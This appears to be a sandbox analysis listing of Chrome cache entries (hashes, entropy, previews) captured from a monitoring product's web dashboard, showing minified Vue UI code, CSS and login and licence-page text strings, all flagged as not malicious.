Preview:	.g1jDENuQ{display:flex;transition:.3s ease;border-radius:10px;-webkit-user-select:none;user-select:none;max-width:100%;text-align:center;cursor:pointer}.g1jDENuQ svg{transition:.3s ease}.kn3-jpa8{opacity:.8;cursor:progress!important}.pi1aSgqN{opacity:.4;cursor:not-allowed}.Yx2mIjN5{border:1px solid var(--primary);color:var(--primary)}.Yx2mIjN5 svg{fill:var(--primary)}.Yx2mIjN5:hover:not(.kn3-jpa8):not(.pi1aSgqN){background-color:var(--primary90);color:var(--app-text-inverse)}.Yx2mIjN5:hover:not(.kn3-jpa8):not(.pi1aSgqN) svg{fill:var(--app-text-inverse)}.GQTXnPVh{border:1px solid var(--card-border);color:var(--app-text);background-color:#fff}.GQTXnPVh svg{fill:var(--app-text)}.GQTXnPVh:hover:not(.kn3-jpa8):not(.pi1aSgqN) svg{fill:var(--app-text-secondary)}.Spt6Oo9A{border:1px solid var(--primary);color:var(--primary);background-color:#fff}.Spt6Oo9A svg{fill:var(--primary)}.Spt6Oo9A:hover:not(.kn3-jpa8):not(.pi1aSgqN) svg{fill:var(--primary80);border-color:var(--primary80)}.Spt6Oo9A:hove

Chrome Cache Entry: 631

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (773)
Category:	downloaded
Size (bytes):	774
Entropy (8bit):	4.740473361173796
Encrypted:	false
SSDEEP:	24:LXHnC5XfdkKVOHVOFkBgj4M4lH7858pE2k1SGdXyY7:jHCJfdlVOHVOFk44M4lHoOpSX9
MD5:	C7296BD66C57AFFFAF695D2BE2EB436C
SHA1:	D616816FE7D6DC660D731F17049741D0F5253573
SHA-256:	1F17097282D14F7642E97BEDB6F8CDB10DDFFA20029AAAB50A51D397CE8DF34A
SHA-512:	CEB26AA02C6476DF4EAF30C933F99C14EC93BF6A8A418B16762501611C94AD9179F36B81C3CE120368F101DE0630A4497A2566009350E8EC4F1DDF120C89C056
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/en-ef960fb7.js
Preview:	const e="Register",o="Email",t="Password",s="Login",a={"Welcome Back":"Welcome Back","Sign In with Email":"Sign In with Email","No account?":"No account?",Register:e,Email:o,Password:t,Login:s,"Forgot password?":"Forgot password?","This email cannot be used. Please try another one.":"This email cannot be used. Please try another one.","Account does not exists":"Account does not exists","Incorrect password":"Incorrect password","Success! Getting data...":"Success! Getting data...","Password Field cannot be empty":"Password Field cannot be empty","E-mail Field cannot be empty":"E-mail Field cannot be empty","Field cannot be empty":"Field cannot be empty","Create a password":"Create a password"};export{o as Email,s as Login,t as Password,e as Register,a as default};.

Chrome Cache Entry: 632

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 184 x 184, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3029
Entropy (8bit):	7.775466271259918
Encrypted:	false
SSDEEP:	48:trqMHw1fogNoolwWy7d/fB/yKv8EwIgr4/0aMsVYU39z9p39AWToe8JhKtbmrLNV:tGAYfTlYH/Bv8dZc/04VYA9n3eWb8Ho6
MD5:	175BFAD4569B48687A15D43A4E9BB617
SHA1:	E28A5AC7818D8ACEDA0D2DE2C20DD922923C3BA5
SHA-256:	F97E3C0058E3352D1F3789F40CB76DBF2C6C085AFA7535BD38F4970F884B2A45
SHA-512:	658CC310C2A8FDBB32D48487CC7373B7D559AE55CB566C3669724F71ED9D86108F63E7A42B191A2A70CBCA47960E2591F7353261DCF5F0556AEDF1AB9F2D1501
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............P3&.....gAMA......a.....pHYs..!7..!7.3X.z....tEXtSoftware.paint.net 4.1.6.N.....SIDATx^..q.F....C....C..NeI....@.@.`......C....n......nw.3..y_.W.jqw...1..w........uY(.e.7.......-.....2.e.<.V....GX....y...Z.pZ.2o.aQ+.Nk[..#,je.im.y.E..8.m.7.......-.....2.e.<.V....GX.........OtN....@.y...Z].O.yG...e....-.y.E..8....0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.x0...O.........?=......+..40..H..sZ..6.........0.A..9..p..\|..\R.~.o...<.i]...U..d.....@nM..;...0..H;....NC.0.x..;...-.....v..P-.....2....C.0.x.R..B...[..<.2.K..6hlW-.....A;...E.....e...-..3[..<0.....W9+..a.'!m.....:[..O.L-..>13.0.8Y...0...".0.8y..-..NT...0...H-..N...0...zma.6..?..GX...Ao-..2o.aQ+.>...07-.....2...a..-.....2.1.}.k.S..#,je.cqmaz...y.E..x\.~.).....z..\|..........y...Z.._..!y.."oG.9g.0e.<..=...,W..].'.Z.2o.aQ........E....GX.Z#.WedH.....-L.7....f.7.....Z.2o.aQk..S..la.bO.S..

Chrome Cache Entry: 633

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (3701)
Category:	downloaded
Size (bytes):	3702
Entropy (8bit):	5.446443546204777
Encrypted:	false
SSDEEP:	48:rxNEM05e7EQWJ0uHyGenR6UPQGZysqPEmoMABn3PuugCimdAFXPXBfGJ19N5D:VNEM0e75W0R5QGSPEmJqfJggAFXP+rl
MD5:	93A5A2F50CE859E24BFF9D45674F6E7B
SHA1:	46410E20EFC5F332CA5787D071391DB80F06981A
SHA-256:	B4CA5BF04016A11DD1B6A5499CF1F01D704700EF13832C027D56797012D76632
SHA-512:	209041550C13F4E90A2DF87E4FAA9480D8F681A2844ADA211AD6DDF3A225CF55C86EB805A584FCB08A2453165AE6890447EA70A91E1E8FE0253E64D5EEC23FE7
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Input.vue_vue_type_script_setup_true_lang-31858815.js
Preview:	import B from"./loop-c45f0f1e.js";import{d as b,m as i,ai as w,c as d,o as u,b as h,i as f,n as o,u as a,h as p,U as v,z as m,e as C,y as I}from"./index-004f4025.js";import{_ as E}from"./Button.vue_vue_type_script_setup_true_lang-56edf5a6.js";const W="-ztRySNh",X="Ftt0CpWQ",A="_4aI8AqCH",R="WnNoxKKH",P="a6kY8aNX",Y="_-9LXnRIR",H="F8HcYjNr",T="StnNIJM1",V="EKAf0gVE",_="vzGZS5BU",q="YJawxt4q",D="J-FFIdf3",K="MPqoi-hk",L="-XPrybcb",U="W-vei4th",z="cXuVytYF",$="uck8wclE",J="_0LSdgwM5",O="_0a05eMPx",Z="_73fp8tGN",j="_9mUdv-E5",G="_5tXXmYiP",Q="_15qHZEB6",s={"input-wrapper":"-ztRySNh",inputWrapper:W,"input-wrapper-search":"Ftt0CpWQ",inputWrapperSearch:X,"input-wrapper-disabled":"_4aI8AqCH",inputWrapperDisabled:A,input:R,"input-selected":"a6kY8aNX",inputSelected:P,"input-selected-focused":"_-9LXnRIR",inputSelectedFocused:Y,"input-search":"F8HcYjNr",inputSearch:H,"input-no-bottom":"StnNIJM1",inputNoBottom:T,error:V,headShake:_,success:q,pulse:D,placeholder:K,"placeholder-success":"-XPrybcb",pl

Chrome Cache Entry: 634

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (628)
Category:	dropped
Size (bytes):	629
Entropy (8bit):	5.408519312247252
Encrypted:	false
SSDEEP:	12:M5WsR75UQOHXu8jeAYJMngYRde4HL1DBVTUojE0uymy:M5/p99JMngYZHZDBbfuymy
MD5:	7CB321EE79F0127E78FAD017F97285AA
SHA1:	5921A3AFA7B59C1A69F214A592F5290A9AA5A080
SHA-256:	2BF0E6089F8E9819E3CAA315D3C024148EE6D53411450118363668A0B9F2F6D5
SHA-512:	E1994D07BDF15F40ACB2E1F35A3738BF24A909C6FEF2D0513D2FBBD0A0DC9A434C96AE9699C8497E0EECBD1229CC066B11A5B6413F8DF608B222FE07A61D6BC9
Malicious:	false
Reputation:	unknown
Preview:	const e="g1jDENuQ",o="kn3-jpa8",d="pi1aSgqN",r="Yx2mIjN5",n="GQTXnPVh",s="Spt6Oo9A",c="RmDlDtP1",t="nLIGWB2k",l="IePxoOqS",i="AUmvNTz6",a="_6vXQpmQD",m="q3V02Fh6",b="SJ0GPc8e",y="_5VeaxEd9",p="cKfyhJq-",h="Gw-l67yM",u="XjJMOjKF",x="WZhZ-ZKL",P="eIH6eshW",D={button:e,loading:o,disabled:d,"bordered-primary":"Yx2mIjN5",borderedPrimary:r,"bordered-filled":"GQTXnPVh",borderedFilled:n,"primary-filled":"Spt6Oo9A",primaryFilled:s,"bordered-secondary":"RmDlDtP1",borderedSecondary:c,default:"JCiXG-DG",success:t,clear:l,xs:i,sm:a,tn:m,md:b,lg:y,xl:p,inline:h,circle:u,shadow:x,"more-rounded":"eIH6eshW",moreRounded:P};export{D as c};.

Chrome Cache Entry: 635

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (612)
Category:	downloaded
Size (bytes):	613
Entropy (8bit):	5.08267772798313
Encrypted:	false
SSDEEP:	12:tGYt6XJqt4oiYk5xURvnYgdMVB1K7xNFn40EffoCT/evn:tGYt6XYt4oiYkXURvn7MRwxjifZ7ev
MD5:	2DAF2E8244A82CE2D18896703255F110
SHA1:	256AFE217B8C4014D87643C68AE6D53FA7DF59F5
SHA-256:	7299EB78A78C169241ADE88D784BAE2EA7207E00CBC18A98C35DB237DD0EB144
SHA-512:	B7BFCC34C3639A5B6A68E9D190D83894686413FCFA1E3242809D3F4ED6697BB25B2547176ECD03044753945A0E769CF513D61C69F274DE6926DD7BFF5B0229AD
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Text.vue_vue_type_script_setup_true_lang-a664542d.js
Preview:	import{d as p,c as r,a as e,o as t,b as c,t as u,n as l,e as f,U as d}from"./index-004f4025.js";const k=p({__name:"Text",props:{oneRow:{type:Boolean,default:!1},bold:{type:Boolean,default:!1},text:{},size:{default:"sm"},color:{default:"default"},uppercase:{type:Boolean,default:!1},hoverLink:{type:Boolean,default:!1}},setup(n){const a=n,o=r(()=>[e.text,e[a.size],e[a.color],{[e.bold]:a.bold,[e.uppercase]:a.uppercase,[e.hoverLink]:a.hoverLink}]);return(s,i)=>s.oneRow?(t(),f(d,{key:1,class:l(o.value),text:s.text},null,8,["class","text"])):(t(),c("span",{key:0,class:l(o.value)},u(s.text),3))}});export{k as _};.

Chrome Cache Entry: 636

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1097)
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	4.801883004252557
Encrypted:	false
SSDEEP:	24:pIDlt6Rqz5Rqz9cujSPhQsF+a2cG2DB/pzOpzDErt7:d0EY/BOBDG
MD5:	01CEB283B00E59B25F2283787D5FBCFC
SHA1:	12503D8DC4A1904F39A2BE105CD2BEF151464B80
SHA-256:	EFAC77214359588EE656CE42F52A545423480B5C194894B4B3237DFA27C0BF4B
SHA-512:	533636F230CE0236E8E248CB0A26593DEBBD6B88DB6E054822E831203EE15EDE59A00D01FCE8FE422535E826F6F4B865599FCB9E7FF6EF0593B0B2E736B0B273
Malicious:	false
Reputation:	unknown
Preview:	const o="convenient",e="Main",n={"The license period has expired":"The license period has expired","The trial period is expired":"The trial period is expired","Your data is safe":"Your data is safe","Please purchase a license to access your data":"Please purchase a license to access your data","Buy 1 PC for 12 months for $":"Buy 1 PC for 12 months for $","DISCOUNT {0}":"DISCOUNT {0}","Computers count":"Computers count","101 and more - ":"101 and more - ","21-100 PC - ":"21-100 PC - ","1PC per month":"1PC per month",convenient:o,"3 Months":"3 Months","6 Months":"6 Months","12 Months":"12 Months","24 Months":"24 Months","1PC for 12 Months":"1PC for 12 Months","1PC for 12 Months +":"1PC for 12 Months +","Do you have a discount coupon?":"Do you have a discount coupon?","Discount coupon":"Discount coupon","Coupon is applied":"Coupon is applied","Apply coupon":"Apply coupon","Includes Screen recording, Webcam recording, Face recognition, Call recording":"Includes Screen recording, Webcam rec

Chrome Cache Entry: 637

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from Unix, original size modulo 2^32 1269714
Category:	dropped
Size (bytes):	431923
Entropy (8bit):	7.998299964648713
Encrypted:	true
SSDEEP:	12288:P1cMzxy3PTXjtB9x4MBGbeULSeqpYsZ18yGeHa+:P1cmyPntBr4aXeS7prZXr
MD5:	9616FB894D93BDC7CC828B297B8D4389
SHA1:	160666E391BDE76FFCAAF004B25236CBBD4C6C7E
SHA-256:	C489F83CB93D7D8AC95FBC0C51D2C9690945539452B1965FE05557E643A01A83
SHA-512:	8D89910B126F30D10CD601B70D7FE11597DFB00983D824DE4A5B5B5A3E80E9047BDB5FBA5C35122155E73B19C9C5366147D887C09CADFA202E0A57475DBD73B7
Malicious:	false
Reputation:	unknown
Preview:	............s.F...U$.VK.a......Y.,..N...E.P$$... %3...~.../.)y6..u.l.h4.......W....A....\|0...g.I......}.....'.d..u7F....w`%7.dq.....<.\|......\|..g.yxv../.t~.J...I6....T-7...\|9....f.(......>j4R..v.l1..G....r....QL.;.Y....\w..x4..h....Q9o......N..N..._7...p1.T...F.5...}V...r.q.~_..\|..Yw<n..z;..l....l.&........F..i...Y...T}..G.b...A"...b4.j..VU.P..N.8.o.a^...y..M...yu....v......moO.E.S.Q4......\..g.V....p.3...Yvs.v..(wF.y~./...~..jOZI....,..P.G.Ww...V...`V......h..-..1.=d.G.q.....6k.&..b.7.{o.'.dyY,.S\..t....>...F2..P..N.N>....l.I...,...g.\|pA....Zww.f.......#.].....2.''..v~...[7....I.o.....{Y.r3.&..C.%.v.Jk........N..u...{..<.nf.I.g..f..9e.......7...8...}.....ht.......7..f5.....y..L.7WMv..J........f.]../.IS..06..5wvv..V+.X].J....t.Z.W....H....\...Uoe....B.W_.9..a.'.y.....e...../.....k~1*wz.E......gW.h..$qU.g.\|.Z4...@......\i_.e..vNG.aS.PUu?`.z.U.w_...h~.ZU%..w...fmo.l.lvoo=..!.......BN...Y.=...3#.m..j..i..i....

Chrome Cache Entry: 638

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	296
Entropy (8bit):	5.209985161631545
Encrypted:	false
SSDEEP:	6:ppuXX6C8Vk2GeLETF41DCuOVNMEXXZdeW6Gej1VNDYLZzo+q:BC8Vk2Gew4ZCuUtoGexVNDmZct
MD5:	BC014647DE85B8D6EE3D5919C12A1657
SHA1:	A0B345B75F9C992DAEFBF3592BAD068D0512E22E
SHA-256:	7E7C447A5F70750D599F18780DCFFA85F4A637F3EB7BBB889532AC4622440595
SHA-512:	D366D8B3201295AD0C61EF9455DE5FB939618FE277D0A13ECA95493625ECBC2546604AEBCC76951E893C0205EE38BEAF93233E8510599657504D5C473A7C7375
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/index-7e7c447a.css
Preview:	.MWPQFMkT{display:flex;flex-direction:column;align-items:center;justify-content:center}.Rjzfav6N,.d8NUNeIk{margin-bottom:10px}.cDDReZ-k{width:100%;display:flex;flex-direction:column;gap:10px;justify-content:center;align-items:center;margin-bottom:20px}.lQe5UjYN{width:100%}.-s8ttL3y{width:200px}.

Chrome Cache Entry: 639

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (4588)
Category:	dropped
Size (bytes):	4589
Entropy (8bit):	5.4532831416501
Encrypted:	false
SSDEEP:	96:hXzpjic4csuWotv1CFfaIpNvsY4rE0Q37oXZjUEvUolEw:hDpjiUWy1jIvkY4rE0QroXZQoOw
MD5:	758C356F96FCFB65FB34300BECE665AF
SHA1:	060C8F8FBD51C1DBE9E72ECFCDA3E6A25FF2C4C6
SHA-256:	B20D853A66A3EC652CB968F2FE91FB1BC62A70B19D28D6022618D1CC954284E9
SHA-512:	32CAE5393CA5585CF1252D8C287CF193FCC973E7BE81D6497A061A3EBA26CCC23689188764AAAC8572DD5C4672DC72446B91A5FBF1D1824E1A84D8343E960557
Malicious:	false
Reputation:	unknown
Preview:	import{J as T,$ as L,F as y,aG as _,E as w,aM as b,aA as R,c as C,p as F,at as c,R as M,av as f,au as S,aw as u,ax as h,ac as N}from"./index-004f4025.js";function lt(){var p;const t=T(),e=L(),r=y(),a=_(),{setDefaults:o}=w(),s=((p=r.program)==null?void 0:p.name)===b.CLEVER,{pushRoute:n}=w(),{redirectLogic:d}=R(),g=C(()=>{var i,l;return(l=(i=e.account)==null?void 0:i.dashboard_settings)==null?void 0:l.admin}),m=C(()=>e.fetchAccountStatus.state==="pending"),A=async i=>{var l;if(i&&!localStorage.getItem(c.ACCOUNT)){a.changeIsLoading(!0);return}if(!i){if(s&&e.isPro32User&&!((l=e.account)!=null&&l.pro32key)&&!g.value){n({name:M.LICENSE_KEY});return}const P=d();await t.fetchComputers(),await n({name:P})}};F(m,async i=>{o(),await A(i)})}async function v(t){const{data:e}=await f.post("/api/account/auth?expand=api_token",t);return e}const V=S("twoFactor",{state:()=>({fetchTwoFactorStatus:{...u},twoFactorId:null}),actions:{setTwoFactorId(t){this.twoFactorId=t},async fetchTwoFactor(){await h(this.

Chrome Cache Entry: 640

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (795)
Category:	dropped
Size (bytes):	796
Entropy (8bit):	5.177657402754797
Encrypted:	false
SSDEEP:	24:5AEGWcKDE8vXntdkNr2kZPmoSnH52XdGKav:5AEGlt8vXtd42+mo6edGKk
MD5:	3200FC81B1A014F05468E26FDE52BE12
SHA1:	7FE3D3991C4050E7FB07A77A562EBEAC60BE5F8F
SHA-256:	322F62D059D4F3F0641420A7E2CC89B734F6019D54460D25CB3E06E502B8B0CE
SHA-512:	82BB4B79EA3C1305D710754C840751AEDCC140894F2FA8356DE784C58175A15E678DF619466A2D363BEA2AE747BF840D5750CD8D07F8D7DD20EF8955EBE88A69
Malicious:	false
Reputation:	unknown
Preview:	import{d,g as c,c as s,o as f,b as m,h as p,n,u as a}from"./index-004f4025.js";import{_ as x}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";import{c as o}from"./ButtonText.module-c769b9ae.js";const b=d({__name:"ButtonText",props:{whiteSpace:{default:"default"},text:{},loading:{type:Boolean,default:!1},loadingText:{default:""},customColor:{default:"default"},disabledText:{default:""},size:{default:"sm"}},setup(l){const e=l,{t:r}=c(),i=s(()=>e.loadingText?e.loadingText:r("Please, wait...")),u=s(()=>e.loading?i.value:e.disabledText?e.disabledText:e.text);return(t,T)=>(f(),m("div",{class:n([a(o).buttonText,a(o)[t.customColor]])},[p(x,{class:n(a(o).text),text:u.value,size:t.size,"one-row":t.whiteSpace!=="wrap"},null,8,["class","text","size","one-row"])],2))}});export{b as _};.

Chrome Cache Entry: 641

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (4588)
Category:	downloaded
Size (bytes):	4589
Entropy (8bit):	5.4532831416501
Encrypted:	false
SSDEEP:	96:hXzpjic4csuWotv1CFfaIpNvsY4rE0Q37oXZjUEvUolEw:hDpjiUWy1jIvkY4rE0QroXZQoOw
MD5:	758C356F96FCFB65FB34300BECE665AF
SHA1:	060C8F8FBD51C1DBE9E72ECFCDA3E6A25FF2C4C6
SHA-256:	B20D853A66A3EC652CB968F2FE91FB1BC62A70B19D28D6022618D1CC954284E9
SHA-512:	32CAE5393CA5585CF1252D8C287CF193FCC973E7BE81D6497A061A3EBA26CCC23689188764AAAC8572DD5C4672DC72446B91A5FBF1D1824E1A84D8343E960557
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/ConfirmPhoneModal.module-3f369b32.js
Preview:	import{J as T,$ as L,F as y,aG as _,E as w,aM as b,aA as R,c as C,p as F,at as c,R as M,av as f,au as S,aw as u,ax as h,ac as N}from"./index-004f4025.js";function lt(){var p;const t=T(),e=L(),r=y(),a=_(),{setDefaults:o}=w(),s=((p=r.program)==null?void 0:p.name)===b.CLEVER,{pushRoute:n}=w(),{redirectLogic:d}=R(),g=C(()=>{var i,l;return(l=(i=e.account)==null?void 0:i.dashboard_settings)==null?void 0:l.admin}),m=C(()=>e.fetchAccountStatus.state==="pending"),A=async i=>{var l;if(i&&!localStorage.getItem(c.ACCOUNT)){a.changeIsLoading(!0);return}if(!i){if(s&&e.isPro32User&&!((l=e.account)!=null&&l.pro32key)&&!g.value){n({name:M.LICENSE_KEY});return}const P=d();await t.fetchComputers(),await n({name:P})}};F(m,async i=>{o(),await A(i)})}async function v(t){const{data:e}=await f.post("/api/account/auth?expand=api_token",t);return e}const V=S("twoFactor",{state:()=>({fetchTwoFactorStatus:{...u},twoFactorId:null}),actions:{setTwoFactorId(t){this.twoFactorId=t},async fetchTwoFactor(){await h(this.

Chrome Cache Entry: 642

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (1391)
Category:	dropped
Size (bytes):	1392
Entropy (8bit):	5.443005642997937
Encrypted:	false
SSDEEP:	24:B/6XhnpFffC3/V2iWX4qL2zzp0iRFjY6GoqRrMj5q3F0TapE7gJSvCGRBCtdSTii:BiXNzffkgiWXb2PDjPGXBWTmzJQ8ur/
MD5:	370BC65CD3A997F3010006B7E0739D12
SHA1:	5F9E96CC563F61F21B9C51EDA58739BF67B53940
SHA-256:	634452B54F1A478056C7549C96D3343103E69FF3890D9735A59B061201CB7D48
SHA-512:	AC692658620E0D019A2CEC8D1197A8F87EACE856E5796AD248A00586AC6833B35A244465609EA341062133C65356F08534610F54B46C855CE45C6099AFCF857D
Malicious:	false
Reputation:	unknown
Preview:	import{au as n}from"./index-004f4025.js";const r=(e,o,t)=>{switch(o){case"increase":return e.sort((s,a)=>s[t]>a[t]?1:-1);case"decrease":return e.sort((s,a)=>s[t]<a[t]?1:-1)}},y=n("modal",{state:()=>({modalsQueue:[]}),getters:{isActiveAnyModal(e){return!!e.modalsQueue.length}},actions:{updateModalsQueue(e){if(e.priority>1e3\|\|e.priority<0)throw new Error("Priority should be less than 1001 and positive");this.modalsQueue.push(e);const o=r(this.modalsQueue,"decrease","priority");this.modalsQueue=[...o]},hideModal(e){this.modalsQueue=this.modalsQueue.filter(o=>o.id!==e)},clearQueue(){this.modalsQueue=[]}}}),c="_5kL4TPdD",l="eoPx-XfL",d="-uFEEehb",u="fMo3ZVEl",i="_6sPwaxyC",m="LL0-2zyj",L="_8u3lj-7P",f="OCt9ytvK",v="NhW0oA55",h="_0yU2sS3O",T="_2Qha-LQ3",Q="_39-eKlaL",E="_1HrmGkwL",_="B5v0MvTK",p="Kuf5IxtV",F={modal:c,"modal-hidden":"eoPx-XfL",modalHidden:l,backdrop:d,"modal-ar":"fMo3ZVEl",modalAr:u,content:i,"close-button":"LL0-2zyj",closeButton:m,"close-button-icon":"_8u3lj-7P",closeButtonI

Chrome Cache Entry: 643

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (773)
Category:	dropped
Size (bytes):	774
Entropy (8bit):	4.740473361173796
Encrypted:	false
SSDEEP:	24:LXHnC5XfdkKVOHVOFkBgj4M4lH7858pE2k1SGdXyY7:jHCJfdlVOHVOFk44M4lHoOpSX9
MD5:	C7296BD66C57AFFFAF695D2BE2EB436C
SHA1:	D616816FE7D6DC660D731F17049741D0F5253573
SHA-256:	1F17097282D14F7642E97BEDB6F8CDB10DDFFA20029AAAB50A51D397CE8DF34A
SHA-512:	CEB26AA02C6476DF4EAF30C933F99C14EC93BF6A8A418B16762501611C94AD9179F36B81C3CE120368F101DE0630A4497A2566009350E8EC4F1DDF120C89C056
Malicious:	false
Reputation:	unknown
Preview:	const e="Register",o="Email",t="Password",s="Login",a={"Welcome Back":"Welcome Back","Sign In with Email":"Sign In with Email","No account?":"No account?",Register:e,Email:o,Password:t,Login:s,"Forgot password?":"Forgot password?","This email cannot be used. Please try another one.":"This email cannot be used. Please try another one.","Account does not exists":"Account does not exists","Incorrect password":"Incorrect password","Success! Getting data...":"Success! Getting data...","Password Field cannot be empty":"Password Field cannot be empty","E-mail Field cannot be empty":"E-mail Field cannot be empty","Field cannot be empty":"Field cannot be empty","Create a password":"Create a password"};export{o as Email,s as Login,t as Password,e as Register,a as default};.

Chrome Cache Entry: 644

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, Unicode text, UTF-8 text, with very long lines (731)
Category:	downloaded
Size (bytes):	733
Entropy (8bit):	5.333043890106064
Encrypted:	false
SSDEEP:	12:rVEeOb9zMiNkI9dEkAS4c/EoanGYWZ1ryZ1dqdlZdzSLWPIoBsUNdbHBG9:ruj9zhNkyEW3MoaGh+nodZzSLWPbN18
MD5:	C20426806474BC5F7DF377451D78F70C
SHA1:	30B675794EC6F2576F7C27EBE24D8F5AC647E417
SHA-256:	188D59F20F833D8FB65E71959214B05CD41E5B1312AEA55196948ED28AAFA2BD
SHA-512:	E7648E2F98E81D4839540A222071CF7954C117004A4F502758556546B2C03AC62200616EF02B40C49D647445FC6B00902B2B4F0275BF4368DE8BEB7B529F7CA7
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Copyright.vue_vue_type_script_setup_true_lang-05301fe7.js
Preview:	import{E as u,s as l,at as i,p as m,d as o,o as r,b as _,r as p,n as f,u as c,g,e as d}from"./index-004f4025.js";import{c as h}from"./ConfirmPhoneModal.module-3f369b32.js";import{_ as E}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";function k(a,e){const{pushQueries:s,queryEmail:n}=u();l(()=>{const t=localStorage.getItem(i.EMAIL);t&&(s({email:t}),e\|\|a(t))}),m(n,t=>{typeof t=="string"&&!e&&a(t)})}const B=o({__name:"AuthTemplate",setup(a){return(e,s)=>(r(),_("div",{class:f([c(h).authTemplate])},[p(e.$slots,"default")],2))}}),C=o({__name:"Copyright",setup(a){const{t:e}=g();return(s,n)=>(r(),d(E,{text:`${c(e)(". Online Monitoring")} ${new Date().getFullYear()}`},null,8,["text"]))}});export{C as _,B as a,k as u};.

Chrome Cache Entry: 645

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from Unix, original size modulo 2^32 1269714
Category:	downloaded
Size (bytes):	431923
Entropy (8bit):	7.998299964648713
Encrypted:	true
SSDEEP:	12288:P1cMzxy3PTXjtB9x4MBGbeULSeqpYsZ18yGeHa+:P1cmyPntBr4aXeS7prZXr
MD5:	9616FB894D93BDC7CC828B297B8D4389
SHA1:	160666E391BDE76FFCAAF004B25236CBBD4C6C7E
SHA-256:	C489F83CB93D7D8AC95FBC0C51D2C9690945539452B1965FE05557E643A01A83
SHA-512:	8D89910B126F30D10CD601B70D7FE11597DFB00983D824DE4A5B5B5A3E80E9047BDB5FBA5C35122155E73B19C9C5366147D887C09CADFA202E0A57475DBD73B7
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.js
Preview:	............s.F...U$.VK.a......Y.,..N...E.P$$... %3...~.../.)y6..u.l.h4.......W....A....\|0...g.I......}.....'.d..u7F....w`%7.dq.....<.\|......\|..g.yxv../.t~.J...I6....T-7...\|9....f.(......>j4R..v.l1..G....r....QL.;.Y....\w..x4..h....Q9o......N..N..._7...p1.T...F.5...}V...r.q.~_..\|..Yw<n..z;..l....l.&........F..i...Y...T}..G.b...A"...b4.j..VU.P..N.8.o.a^...y..M...yu....v......moO.E.S.Q4......\..g.V....p.3...Yvs.v..(wF.y~./...~..jOZI....,..P.G.Ww...V...`V......h..-..1.=d.G.q.....6k.&..b.7.{o.'.dyY,.S\..t....>...F2..P..N.N>....l.I...,...g.\|pA....Zww.f.......#.].....2.''..v~...[7....I.o.....{Y.r3.&..C.%.v.Jk........N..u...{..<.nf.I.g..f..9e.......7...8...}.....ht.......7..f5.....y..L.7WMv..J........f.]../.IS..06..5wvv..V+.X].J....t.Z.W....H....\...Uoe....B.W_.9..a.'.y.....e...../.....k~1*wz.E......gW.h..$qU.g.\|.Z4...@......\i_.e..vNG.aS.PUu?`.z.U.w_...h~.ZU%..w...fmo.l.lvoo=..!.......BN...Y.=...3#.m..j..i..i....

Chrome Cache Entry: 646

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1512)
Category:	downloaded
Size (bytes):	1513
Entropy (8bit):	5.364910493353474
Encrypted:	false
SSDEEP:	24:LO+S3cnRBofRI9CD2n13n1cmgg4u0x0onlVbFn1tcD/wFn1Km5eN8Wocl:LO+ecacCDMteBgs0ilK/Y0D7n
MD5:	D5296A2D8854493E01C420A5CE74E107
SHA1:	8C26E4109BEFD162A553D1243FDD46177249827F
SHA-256:	04FFDA9483449F07429EBF4A61BC348936D326C88FE1504DE8D90830A7E73097
SHA-512:	2A58E5CEA2B8361C7E64A77241368B64E909858D966621C950046AA3194357F705597D561C7087754EB3E7560E38203A56F4C25B74D70A3D3DF7BCABDB38BDB5
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Modal-04ffda94.css
